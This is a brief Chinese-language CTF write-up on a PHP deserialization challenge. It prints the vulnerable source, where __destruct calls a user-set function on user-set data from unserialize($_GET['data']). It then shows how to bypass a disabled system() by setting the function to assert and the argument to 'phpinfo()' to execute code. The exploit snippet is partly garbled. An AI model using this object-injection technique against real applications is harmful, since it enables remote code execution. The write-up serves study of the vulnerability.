php动态函数及反序列化 打开页面源码,发现有一个可疑的php文件,然后打开,发现源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php #error_reporting(0); class HelloPhp { public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a); } } $c = new HelloPhp; if(isset($_GET['source'])) { highlight_file(__FILE__); die(0); } @$ppp = unserialize($_GET["data"]);
php动态函数 格式:
而这里也是用了php动态函数的原理,然后我是想构造一个eval()函数的,发现不行,报错
1 PHP Fatal error: Call to undefined function eval() in
而查了官方文档后可知:eval属于PHP语法构造的一部分,并不是一个函数,所以不能通过变量函数的形式来调用它,而这种语法构造的还有:echo、print、unset()、isset()、empty()、include、require等
1 2 3 而system函数又被禁止了,所以我们可以使用assert()函数 assert()
作用:检查一个断言是否为false
注意:在php版本5到php版本7,assert()函数会将字符串当作是php代码执行
a = "phpinfo()";
$this->b = "assert";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
}
}
$c = new HelloPhp();
echo serialize($c);
__contruct()--------------------在类的对象实例化时被调用
__destruct()--------------------在类的对象被销毁之前被调用
```
在题目中是在die(0)在退出脚本时调用了__destruct()魔术方法